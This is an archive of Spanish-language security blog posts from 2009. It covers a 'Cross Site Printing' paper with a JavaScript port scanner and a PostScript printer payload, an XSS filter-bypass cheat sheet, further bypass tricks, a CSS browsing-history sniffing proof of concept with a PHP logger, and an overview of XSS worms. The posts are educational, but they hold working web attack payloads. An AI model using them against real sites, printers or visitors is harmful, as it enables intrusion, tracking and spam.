viernes, 20 de febrero de 2009

XSP: Cross Site Printing

Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirlo avisadme).

Edito: he subido el paper a milw0rm-> Cross Site Printing


==============================================================
./0x00 Introducción al tema
./0x01 Conceptos básicos
./0x02 Buscando impresoras
./0x03 El arte del ASCII
./0x04 PostScript: controlando la impresión
./0x05 Conclusión



./0x00 Introducción al tema



El tema que venimos a tratar en este pequeño paper es la posibilidad desde el
exterior (véase desde una web, por ejemplo) realizar un “ataque” (entrecomillémoslo)
hacia las impresoras que tenemos en nuestra intranet. No es un tema transcendental ni
mucho menos, pero para mí es algo que me resulta bastante curioso y que está poco
documentado en castellano.


Realmente el impacto no lo considero grave ni mucho menos, bueno quizás en el
caso de mandar FAXs el impacto puede ser económico… y alguna denegación de
servicio también se puede lograr… pero salvo estos casos, en general sólo sirve para
imprimir documentos en redes ajenas (un poquito de SPAM ).


El Cross Site Printing no es más que una variante del Cross Site Scripting (XSS) de
toda la vida, consistente en que al visitar una web, ésta contiene un código JavaScript
que enviará una petición a la impresora donde mediante código PostScript podremos
llegar hasta a “dibujar”. Auqnue no sólo con JavaScript, ya que podemos variar el
ataque y convertirlo en uno usando las CSS (CSS Attack), cosa que ya veremos en su
apartado.


Sobre la vulnerabilidad, decir que surge por una falta de previsión por parte de
los fabricantes, los cuales no han pensado la posibilidad de colocar autentificaciones u
algún otro sistema de identifiación, o de filtro de seguridad para evitar esto. He de decir,
que en los últimos años según he estado leyendo recientemente, esto ya no es así, sino
que algunos sistemas ya incorporan medidas de seguridad básicas… pero como casi
todo hoy en día, tienen fallos aprovechables (podeis hechar un ojo poralgún bugtraq
para ver algunas vulnes en impresoras).


./0x01 Conceptos básicos


Antes de poder meternos a fondo con el tema, necesitamos conocer ciertos
conceptos básicos para poder entender más adelante todo lo que vamos a decir. Para
empezar… ¿de qué forma saben las impresoras cómo es la descripción de la página
que han de escribir?



Para responder a esto, debemos de saber qué son los lenguajes de descripción
de páginas. Los PDL (Page Description Language) son los encargados de describir la
maquetación del texto, la disposición de elementos gráficos como objetos vectoriales o
mapas de bits, el formato de las páginas, etc… Podemos encontrar diferentes PDLs
dependiendo de la empresa fabricante de la impresora, así encontramos por ejemplo
que HP usa PCL (Printer Command Language, es muy común confundir estas siglas con
las de Printer Control Languages, siendo este último un sinónimo de PDL), Epson usa
ESC/P (Epson Standar Code for Printers) y ESC/P2 (versión mejorada del anterior),
Samsung tiene el SPL (Samsung Printer Language), y por último nombrar a Adobe y su
PostScript. Estos son los más importantes, puesto que hay muchos más.
De los PDL que hemos mencionado, nosotros nos vamos a central sobre todo en
PCL y PostScript, puesto que son los que mayor transcendencia han tenido. De ambos
lenguajes hablaremos más adelante con algo más de detalle, por ahora sólo hacer un
par de apuntes interesantes.


Sobre PostScript, decir que fue de los primeros en ser un
lenguaje de programación en sí, es decir, marca la diferencia con los demás sistemas de
descripción de la época, los cuales se basaban en secuencias de caracteres de escape.
También decir que implementó la composición de imágenes a través de líneas
horizontales y curvas, nubes de píxeles y distintos tipos de tipografía. El formato PDF
(Portable Document Format) es un derivado de PostScript.


Para terminar de hablar de los PDLs, hablaremos de PCL. El PCL introducido por
HP ha sido uno implementado por un gran número de fabricantes, por ello va ha ser
sobre el que trabajemos. Los comandos de PCL son secuencias iniciadas por algún
carácter de escape.



Ahora toca hablar sobre los protocolos que usan las impresoras en red.
Bien, vamos a hablar a grandes rasgos (puesto que en materia de protocolos sólo sé
aquello que me ha ido haciendo falta) de los protocolos que suelen usar las impresoras.
El primero es el LPD (Line Printer Daemon) y trabaja por el puerto 515.
Después tenemos el IPP (Internet Printing Protocol) que está basado en el
protocolo IP ,y construido sobre HTTP, permite la autentificación y el cifrado. Este
protocolo envía una mayor cantidad de datos relacionados con el trabajo que otros
protocolos. Utiliza el puerto 631.



El protocolo de recursos compartidos CIFS (Common Internet File System),
anteriormente conocido como SMB (Server Message Block), también puede ser utilizado
para la comunicación con impresoras dentro de una red. Este protocolo es empleado
principalmente por Microsoft, aunque exite una implementación libre del protocolo
llamada Samba que permite su utilización en sistemas operativos GNU/Linux. Los
puertos que puede emplear son 137, 138 y 139.


Y por último, sobre el que vamos a hablar en el paper, es el protocolo
Raw TCP/IP, el cual trabaja por el puerto 9100.


./0x02 Buscando Impresoras



Como ya hemos dicho, nosotros nos vamos a centrar en los ataques a
través del protocolo Raw. Para realizar una búsqueda de impresoras dentro de nuestra
intranet, o bien queremos hacerla hacia redes remotas (si estan mal configurada
podemos acceder a las impresoras) tenemos varias opciones. La opción A es codearnos
un programa sencillo en nuestro lenguaje preferido (en mi caso PERL) y lanzar sockets a
direcciones IPs internas o hacer una búsqueda masiva. En cualquiera de los casos lo que
debemos de hacer es tratar de ver si tiene el puerto 9100 abierto. En caso afirmativo
hemos encontrado una impresora sobre la que trabajar.



Pero en este caso no estaríamos explotando ninguna vulnerabilidad ni
nada similar… y sería aburrido. Recientemente he estado leyendo acerca de los
Scanners de puertos en JavaScript y en CSS. Como ya dije al principio, el Cross Site
Printing es una vulnerabilidad derivada de los XSS’s. Luego si un usuario visita una web
vulnerable a XSS, y en el código malicioso incluimos el PortScanner, podremos saber la
direcciones de las impresoras que hay en su red, y ahí atacar. Este pequeño concepto lo
he sacado a partir de una idea que teníamos en mente S e t h y yo sobre analisis de
intranets desde el exterior para combinarlo con Malwares contra routers… pero el
concepto es portable a otros escenarios como es este.


Aquí os dejo un ejemplo de un PortScanner en JavaScript:



var AttackAPI = {
version: '0.1',
author: 'Petko Petkov (architect)',
homepage: 'http://www.gnucitizen.org'};
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
};
AttackAPI.PortScanner.scanTarget = function (callback, target, ports,
timeout)
{
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target,
ports[index], timeout);
};


Mis conocimientos en JavaScript rozan casi la nulidad, por ello no he
podido modificar este script para que busque impresoras en nuestra red, pero sí que
tengo la idea de cómo se haría (me faltan los conocimientos sobre el lenguaje para
poder expresarlas). La cosa sería crear unos bucles FOR que fueran creando diferentes
IPs posibles incrementandolas (las que equivaldrían al Target) para que den lugar a las
diferentes IPs de nuestra red (192.168.1.1, 192.168.1.2 y así sucesivamente) y aplicarle
la función de escaneo a esas IPs, pero haciendo que únicamente revise el puerto 9100.


Si alguien logra crear un scanner basandose en estas indicaciones, por
favor envíadmelo para incluirlo en esta publicación.


./0x03 El arte del Ascii



Ya sabemos cómo encontrar impresoras en nuestra red y en ajenas, y
además a través de que puerto vamos a trabajar. Ahora toca hablar sobre el “trabajo en
sí”.


Para comunicarnos con la impresora, y que ésta imprima debemos de
hacer una conexión a ésta a través del puerto 9100. Esta conexión podemos establecerla
de multiples maneras, como por ejemplo a través de NetCat, Telnet, Putty o algún otro
sistema que permita negociaciones de este tipo. Pero, como nosotros queremos
enfocarlo hacia el ataque desde una web, usarermos para la conexión nuestro
navegador. Para ello, entremos a la URI http://IPdeTuImpresora:9100. Al añadir los : y el
número, indicamos a nuestro navegador que se conecte a través del puerto que
queramos.


Si todo ha salido bien, no debería de cargarte ninguna web, es decir,
verías todo en blanco… y en la impresora algo recién impreso: la cabecera HTTP que
enviástes. Ahora observar qué ocurre si mandais una petición tipo POST con por ejemplo
la siguiente frase: “Lutscher si estás leyendo esto… vuelve con nosotros!!!!” usando
Live HTTP Headers. La frase aparece impresa sí, pero se encuentra bajo URLEncoded, lo
que podría no ser un texto legible con facilidad.


Bien, volvamos al ejemplo de que tenemos cierta web vulnerable a XSS y
combinando el scanner en JavaScript y añadiendo un formulario hidden que contenga
nuestra frase, y haciendo que este se autosubmitee para que se mande a nuestra
impresora (que sabremos por el scanner), podríamos hacer un poco de SPAM. Pero si realmente queremos mandar un mensaje o un dibujo en ASCII, el URLencode resulta
engorroso. Esto podemos solventarlo si el formulario lo dejamos de esta forma:



<FORM ACTION='HTTP://YOURPRINTER:9100' NAME=”IMPRESORA”
ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'>
<input type=”hidden” value=”Estas siendo Spammeado :O”>
</FORM>


A esto le añadimos la función de auto envío y ya. Aquí juega un papel
importante podríamos decir el dibujar en ASCII para poder dar cierta mejor calidad a
nuestro texto (añadir dibujos y esas cosas).


./0x04 PostScript: Controlando la Impresión


Al inicio del paper ya estuvimos hablando sobre los lenguajes PDL y dijimos que
nosotros ibamos a usar PCL y PostScript para controlar diversas funciones. En este
apartado, vamos a conocer nociones muy básicas de Post Script (para aprender más
buscad algún manual) y cómo encapsularlo dentro de PCL.


Empecemos viendo como son los comandos en PS (a partir de ahora lo usaremos
como abreviatura). A diferencia de los lenguajes que todos conocemos, en PS los
parámetros de los comandos han de introducirse antes que el comando, por ejemplo:


100 300 moveto


En este caso, moveto es el comando y sus parámetros son 100 y 300. Este
comando sirve para mover el cursor hasta el punto de inicio del dibujo. Los dos valores
que se indican antes hacen referencia a las coordenadas (utilizando como referencia
píxeles, cosa que podemos modificar con otros comandos al igual que el tamaño del
papel) x e y.


Como todos sabemos desde la primaria, para dibujar una línea recta necesitamos
dos puntos, y si ya tenemos uno ahora nos hace falta el punto final. Para ello usaremos
lineto, cuya sintaxis es la misma que la de moveto:

300 360 lineto

Donde el primer valor indica las coordenadas en el eje X y el segundo en el eje Y.
Pero no solo necesitamos esto antes de hacer una línea, sino que debemos de indicar el
inicio de que se va a dibujar una línea con el comando newpath y el final con stroke. Con
esta información ya podemos empezar a dibujar figuras rectilíneas simples:

newpath
150 150 moveto
350 150 lineto
350 300 lineto
150 300 lineto
150 150 lineto
stroke


Aquí ya tendríamos un rectángulo. Exsiten múltiples programas que
sirven para representar en pantalla el dibujo, de esta forma podremos trabajar mejor.
Para indicar el ancho de línea con la que queremos que se realice nuestro
dibujo, emplearemos el comando setlinewidth:

X setlinewidth

Siendo X el grosor de la línea indicado en píxeles.


También podemos controlar la tipología con la que escribimos. Por
ejemplo, para seleccionar un determinado tipo de fuente no tenemos nada más que
escribir /nombredelafuente findfont . Despues seleccionamos el tamaño con scalefont (x
scalefont), setear la fuente para usarla con setfont y por último escribirla y mandarla
con show. En resumen:

/Times-Roman findfont
50 scalefont
Setfont
100 300 moveto
(Overload In The Net RoolZ!!) show


Por ultimo, para realizar la impresión sólo tendremos que finalizar con
showpage.


Son muchos los comandos y las posiblidades (desde trazar curvas, unir
puntos con curvas, usar colores, mapas de bits, etc…) y no es el objetivo de este
documento centrarse en esto. Simplemten pongo algunos casos sencillos para que
entendais más o menos lo básico de este lenguaje. Existen programas que convierten
webs enteras a PS, lo cual nos facilitaría enormemente el trabajo.


Para encapsular un código PS dentro de PCL para que sea ejecutado por la
mayoría de las impresoras, simplemente tenemos que inicialmente indicar qué lenguaje
vamos a usar usando para ello la siguiente directiva:


%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT


Y para indicar hasta donde termina el código, usaremos %-12345X. Y
como último detalle decir que al inicio del código PS tenemos que poner antes del primer
comando %!PS.


Si todo esto lo unimos a JavaScript, tenemos la forma perfecta de
controlar la impresión. Aquí os dejo un pequeño ejemplo que he encontrado al consultar
un pequeño paper de Aaron Weaver


var msg=String.fromCharCode(27)
+ "%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n”
+ "%!PS\r\n"
+ "/Courier findfont\r\n"
+ "20 scalefont\r\n"
+ "setfont\r\n"
+ "72 500 moveto\r\n"
+ "(Your printer is mine!) show\r\n"
+ "showpage\r\n"
+ String.fromCharCode(27)
+ "%-12345X”


./0x05 Conclusión



Para concluir simplemente decir que proteger las impresoras con passwords u
otros sitemas es algo bastante importante, ya que pese que aquí hemos visto
únicamente como imprimir en casa a ajena usando para ello una web vulnerable a XSS y
un poquito de JavaScript, el impacto puede llegar a ser bastante mayor. Por ejemplo, se
podría llegar a causar denegaciones de servicio en la impresora, y en toda la red.



A parte de esto, hay que tener mucho cuidado a la hora de las configuraciones,
para evitar que personas ajenas a la red puedan ejecutar acciones sobre ella, tal y como
hemos visto.



Para contacto: Camaleon__81 -at- Hotmail -dot- com
5 0verl0ad Labs: febrero 2009 Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirl...

XSS CheatSheet

Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa es que quería postearla de tal forma que puedieramos buscar el tipo de filtro en ella... haber que tal os parece.



-Bloqueo del Número máximo de caracteres

Hacer Form Tampering o modificar el header


-Codigo se queda en un value=""

Poner un "> u otro elemento de clausura que nos deje salirnos



-Magic Quotes activadas (imposibilidad de poner comillas)

Poner el código .js en un host externo y hacer <script src=tuhost></script>


-Te impide poner / para cerrar un tag

<img src=. onerror=alert(/XSSed/)>


-
Eliminación de caracteres especiales

<script>alert(
String.fromCharCode(88,83,83));</script> Siendo los números el valor del caracter en ASCII


-Filtro Strip_Tags (puedes meter algunos tags, pero otros como <script> los bloquea

<
p style="background: url("JavaScript:alert(/xss/);">



-Supresión de ciertas expresiones o palabras

Salto de linea
JavaScr
ipt:alert(1);

Inclusión de otra palabra tabú en mitad de la que queramos
java<script>script:alert(1);

Eliminación de funciones y expresiones dentro del código javascript
javascript:alert(eval('Saltando'+' Bypass'));



===============================================

Hasta aquí nuestra pequeña colección... realmente quisiera que me mandarais más al correo de contacto, las publicaré añadiendo el nombre del que me las haya mandado.

PD: Aqui teneis muuuuuuuuuuuuuuuuuuchas más formas interesantes:
XSS CheatSheet
5 0verl0ad Labs: febrero 2009 Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa e...

miércoles, 18 de febrero de 2009

XSS: Más formas de realizar un bypass

Saludos!


Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", "Física", "Bioestadística" y por último prácticas de laboratorio de BQ... total que mi jornada empieza a las 9 de la mañana... así que imagenese el panorama: ahora no me puedo dormir porque no me despertaré. Por ello, voy a hacer algo productivo añadir un par de formas más sobre como saltar determinados filtros, y ya mañana cuando vuelva de clase (puesto que tengo huecos de varias horas) a mi habitáculo numerado como 302.... me pondré a juntar todos los métodos (es decir, extraer de aquel paper que hice ya time) y haré una especie de chuleta para tener en los marcadores por si nos hace falta ;)



Allá que vamos.

__________________________________________________


·Filtros basados en la supresión de palabras o expresiones concretas:

A este respecto, he encontrado dos formas curiosas de hacer el bypass. Una es aprovechando que la función de filtrado es Case Sensitive, es decir, que no distingue entre mayúsculas y minúsculas. En estos casos, si por ejemplo el filtro suprime la palabra "Javascript", nosotros podemos usar JaVaSCRiPT, y nuestro navegador lo dará por bueno :)

Otra posible forma que se me ocurre es el de meter un \n en mitad de la palabra, es decir, hacer:

JavaScr
ipt:alert(1);

Normalmente los navegadores suelen dar esto por válido y empalman la palabra automáticamente (siempre hay excepciones). Otro bypass u ofuscación de palabras puede ser el meter otra palabra tabú en mitad de la que nosotros queremos. Siguiente el ejemplo de la prohibición de Javascript:

java<script>script:alert(1);

De esta forma, el filtro eliminará <script> y empalmará el texto "javascript".


·Filtrado de expresiones, atributos y funciones

En algunas ocasiones el sistema sí permite el uso de código JS, pero meten un filtro para que suprima ciertas funciones que podrían volverse... "problemáticas". Para ello podemos usar eval(), metemos en ella la palabra por partes y despues concatenamos:

javascript:alert(eval('Saltando'+' Bypass'));

·Adhesión de caracteres al final de la cadena

Este curioso tipo de filtro me lo encontré en una web donde al hacer búsquedas, creaba un link a una foto del tipo <a href="http://example.org/index.php?z=LoqueBuscasSearched">. Me filtraba los <>, así que la idea de siempre de hacer "> no podía ser. El caso es que simplemente puse " para cerrar el href y despues puse un evento onmouseover con el JS y para poder evadirme el Searched">, simplemente me inveté un atributo. Entonces introduje esto:

foo" onmouseover=alert(1); bio="

Y el resultado fue:

<a href="http://example.org/index.php?z=foo" onmouseover="alert(1);" bio="Searched">


Bueno, son las 6:20AM ahora mismo (me fui a comer algo tenía hambre XD) y no se me ocurre ningún otro bypass, cuando me acuerde lo añadiré sobre la CheatSheet.

Byt3z a todos

5 0verl0ad Labs: febrero 2009 Saludos! Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", &quo...

martes, 17 de febrero de 2009

CSS Attacks I : CSS History Hack

Saludos!


Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejemplo bien sencillo sacado del scanner en CSS que me linkeó S e t h hace un par de días.


Bien, a qué nos referimos cuando hablamos de CSS attacks... nos referimos a aquellos ataques que, o bien se basan en CSS (Cascade Style Sheet) o bien lo usan como vector. Un ejemplo, que en cierto modo usa de CSS para llevarse a cabo, es el cickjacking, tema sobre el cual hablaremos en otras entregas.



El peligro de los ataques CSS reside en que en principio no hay forma de protección, ya que si tú visitas una web maliciosa, normalmente si se intenta realizar algún tipo de ataque, éste se intenta en un 99% a través de malware en Javascript. Por el contrario, si un usuario bloqueaba la ejecución de código JS, estaba "blindado" contra ataques de este tipo.


Es a finales de verano/principio de otoño cuando Lix me estuvo acribillando a links sobre esto de usar CSS para ataques (él en concreto me estuvo hablando de aquello del clickjacking), y sí, fue una especie de "revolución bloggera", era raro el blog que no había publicado algo sobre el tema. Y es que, ciertamente, cuando una vulnerabilidad se le da mucha fama es lo que pasa. Cuando hoy en día encontramos vulnerabilidades de gran importancia... si no se las promociona quedan en un grupo reducido de bugtraqs y advisorys de las webs, como no, de habla inglesa.


Bueno, retornando a lo que es el tema en sí, yo he querido ejemplificar (más que nada para abrir boca y que los lectores esperen con mayor ansia los siguiente capitulos sobre el tema) algo de ataques en CSS con un logger de sitios visitados (incido, la idea no es mía, la ví en un lnk que me ruló S e t h, pero el PoC sí es mío).

Como todos sabemos, los enlaces de las webs se pueden "embellecer" aplicandole atributos CSS como pueden ser hover (para que cambie el diseño al depositar el cursor sobre el link), visited, etc... Y también sabemos, que existen ciertos elementos en los cuales podemos hacer referencias a elementos externos. Hacia estos elementos externos salen peticiones GET desde nosotros para recopilar su contenido. Bien, ¿y que pasa con esto?. Pues que si se hacen peticiones de tipo GET hacia elemtnos del exterior... podemos incluir el seteo de variables GET y de esta forma logear cierta información, hacer que el usuario realice algún tipo de acción, etc...


Si nosotros declaramos en a:visited que mande una petición a otro archivo nuestro, y ponemos un listado de webs, podremos loggear en qué webs ha entrado. Aquí os dejo la prueba de concepto:


<head><title>Proof of Concept -> CSS History Hack</title></head>
<body>
<style>
a.link1:visited{
background: url(poc.php?visited=1);
}
a.link2:visited{
background: url(poc.php?visited=2);
}
a.link3:visited{
background: url(poc.php?visited=3);
}
</style>


<h1>Proof of Concept for CSS Hystory Hack</h1>
<br><br><center>
<a href="http://google.com" class="link1">Google</a><br>
<a href="http://0verl0ad.blogspot.com" class="link2">0V3RL04D 1N TH3 N3T</a><br>
<a href="http://unam.mx" class="link3">Primera web que me salió por google XD</a><br>

<?php
$file = $_SERVER['REMOTE_ADDR'].'.txt';
$abierto = fopen($file, a);
switch($_GET['visited']){
case '1':
fwrite($abierto," Google,");
break;
case '2':
fwrite($abierto, "\nMi blog,");
break;
case '3':
fwrite($abierto, "\nUnam.mx");
break;
}
fclose($abierto);
echo '<a href='.$_SERVER['REMOTE_ADDR'].'.txt> Click aqui para ver tu historial </a>';
?>
5 0verl0ad Labs: febrero 2009 Saludos! Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejempl...

lunes, 16 de febrero de 2009

Otra vez en ON

Saludos lectores... (si es que tengo alguno XD).


Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del objetivo del posts (lo siento), sí que voy a pedir disculpas a las pocas personas que leían algo de aquí y que dejaron de leer por mis propios problemas.


Ahora he vuelto a publicar aquí, eso sí cambiando ciertas cosas, como mi cambio de nick. En principio no sé muy bien con quien continuar publicando, pero llevo un par de días volviendo a leer toda la movida que se montó a finales de verano/principio de otoño con el tema del clickjacking (Menuda semana me dió mi bibliotecario preferido AKA Lix; por cierto tengo ganas de volver a hablar contigo, he tenido que suplirte por multis con seth y plaga, pero no es lo mismo que tus charlas repletas de links XDDD). Sí aquel tema que se propagó como el fuego en gasolina por todos los blogs. Algunos dirán que es materia ya conocida... pero a día de hoy seguimos haciendo papers sobre SQL injection y también es tema ya trabajado desde hace años.



Bueno, la cuestion es que en dos días que estaba releyendo referencias que me dió Lix, y hablando con S e t h, resulta que ahora el clickjacking ha sido incluido en una categoría de ataque denominada "CSS Attacks" (Si sí, CSS de Hojas Estilo Cascada) por algunos autores, y bueh leyendo por ahí he seguido investigando esto de los ataques utilizando CSS. Así que estaba pensando en hacer un ciclo de publicaciones (tres o cuatro) similar al que ya realicé hace tiempo sobre el protocolo HTTP, ya que en español apenas he encontrado unas pocas referencias y las explicaciones son muy simplesm (prometo poner PoCs)


Otra idea que he tenido al observar códigos de malwares en JavaScript y XSS es la idea de publicar un par más de formas de realizar bypassing a filtros (algunas formas descubiertas por experiencia propia y otras sacadas de sources de otras personas), además de hacer una CheatSheet como recopilación esquematizada de todos los expuestos en el blog.

Y por último, quisiera saber si hay lectores que sigan el blog, así que por favor si estás leyendo esto (de aquí hasta el 16 de Marzo) mandame un mail a mi dirección (Camaleon__81 [\at/] Hotmail.com) o postea en este mismo thread. También quisiera saber qué es lo que más te gusta del blog y qué temas quieres que tratemos de aquí a los próximos meses (S e t h SQL no me lo pidas que ya te conozco :P, hay mucho en la red sobre eso)


Byt3z
5 0verl0ad Labs: febrero 2009 Saludos lectores... (si es que tengo alguno XD). Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del...

XSS Woms: El terror de las redes sociales

Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y un vector de propagación de una magnitud calificada en algunos casos como "mayor que el envio de mails entre listas de correo".



En una red donde encontramos una gran cantidad de vulnerabilidad es de tipo XSS (algunos auditores estiman de porcentajes cercanos al 80%) en aplicaciones web, no es de extrañar que también podamos encontrarlos en las famosas "redes sociales". Las redes sociales son uno de los proyectos con más éxito de la actualidad, con cifras astronómicas (véase los más de 180 millones de usuarios que se estiman que tiene Myspace), consistente en que un usuario tiene un espacio personal, con su perfil, subida de fotos suyas, etc.. y un listado de amigos a los que agrega y con los que mantiene una interrelación a través de la red.


Esta interrelación con esos "amigos" no queda ahí, ya que cuando visitamos los perfiles de nuestros amigos, podemos ver sus amigos (en la mayoría de redes) y al entrar al de alguno de ellos los amigos de sus amigos... y así sucesivamente podemos tener una basta colección de perfiles visitados. Desconozco el número de amigos de promedio qeu suele tener cada usuario, pero lo que sí es seguro que si aplicamos la exponencialida d de poder visitar los perfiles de otros usuarios hablamos de cifras indudablemente de una magnitud increíble, y podemos acceder a ellas con un simple click...


Volviendo a la parte que nos interesa, si encontramos un campo vulnerable a XSS permanente, tal como puede ser el nombre, la descripción, el título de una foto o algun otro que aparezca en el perfil que tus amigos y otras personas ven, podríamos "atacar" a todas esas personas.

Muchas personas estarán pensando en un cookie stealing a gran escala, pero siento deciros que entonces hablaríamos de la explotación prototípica que hacemos de los xss, a parte, de que estas redes ya incorporan sistemas de sesiones (no pongo la mano en el fuego, pero creo que por ejemplo tuenti ya las usa) en los cuales, la asignación de un identificador (ID) se realiza a partir de funciones de tiempo, por lo cual probablemente nos sea de poca utilidad. Pero como bien acabo de decir, esto sería un uso vulgar y común de un XSS y que no aporta nada nuevo, pero... ¿Y si usaramos el XSS como un vehículo de propagación y lanzamiento de algún payload? Y si por ejemplo... ¿Hacemos que cada persona que mire tu perfil se "infecte" y agregue a su perfil también el código malicioso?


Bien bien, en esto consisten los XSS Worms, en difundirse a través de los visitantes de tu perfil y al mismo tiempo introducir algún payload (P.e.: poner un lnk de descarga de un troyano a través de la simulación de que es el propio dominio que requiere la instalación de algún objeto, mandar MPs con SPAM, explotar alguna vulne de los navegadores, etc...).


Los XSS Worms tienen una velocidad de propagación muy alta, aquí os dejo un screenshoot de un gráfico de la propagación de Samy, el más famoso XSS worm que atacó la red de Myspace:
La propagación está basada en el fenómeno que ya he comentado antes, el hecho de que si yo (individuo A) tengo coloco en mi perfil el código malicioso, si 7 personas ven mi perfil en el último cuarto de hora (individuos A'), ellos tambíen quedarán infectados. Si en el siguiente cuarto de hora, el perfil de esas siete personas, es observador por otras siete personas (individuos A'' ), tendremos que en media hora tendremos un total de infectados (TI), de:

Ti = ( A' )2 + A' => Ti = 56

Como vemos, en el supuesto de 7 personas (que incluso podríamos considerarlo como un promedio bajo de visitas recibidas en un cuarto de hora) estamos hablando de que en sólo media hora tenemos 56 personas infectadas... imaginad cuando pasen 12 horas la cantidad de gente infectada que existiría. Es por ello, que Samy marcó un hito en la historia convirtiendose en el malware con la velocidad de propagación más rapida de toda la historia.



Ahora vayamos al meollo de las cosas, ¿en qué consiste un XSS Worms?. Un worm de este tipo, suele tener un source suele tener dos grandes apartados. El primero de ellos, es la parte encargada de la infección del visitante, consistente normalmente en un código en AJAX cuyo objetivo es que cuando el visitante ejecuta el código malicoso en su navegador, se envíe desde este una petición de tipo POST que agregue en el formulario vulnerable a XSS el código malicioso del worm, así tendremos asegurada la propagación de los A' hacia los A'' y de estos a los A''' y así sucesivamente.


La otra parte es el payload. Un payload, en términos de virus (e incluso en exploits, por ejemplo cuando conseguimos shell explotando un BoF) se trata de los efectos malificiosos que provoca. Un efecto devastador, (a parte de los payloads que podemos imaginar) es la gran cantidad de tráfico que podemos generar con nuestro gusano. Y por gran cantidad, estamos hablando de llegar a producir denegaciones de servicios provocadas por los recursos consumidos.


Otra característica a tener en cuenta a la hora de programar un worm es el uso de tecnicas de ofuscación de código y bypass para saltar los filtros... a parte de tener portabilidad en el mayor número de navegadores posibles, de esta forma la probabilidad de infectar usuarios es de 98 sobre cada 100. Por último todo esto debe de venir acompañado de un bajo peso. En este sentido, navegando por uno de esos links que llegan a mis manos en las multiconversac iones que mantengo con S e t h y Plaga ( en las cuales normalmente siempre sacamos algo de provecho (véase hacer este pequeño paper)) encontré cierto concurso de Ha.ckers.org que ganaron Giorgio Maone and Sirdarckcat con un XSS Worm de 161 bytes.

En conclusión, podemos decir que nunca hay que menospreciar un XSS, puesto que podemos lograr mil cosas, desde subir una XSS Shell, robos de identidad a gran escala, hasta lograr un DoS en sites "relativamente importantes", tal y como son hoy en día las redes sociales.
5 0verl0ad Labs: febrero 2009 Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y...
< >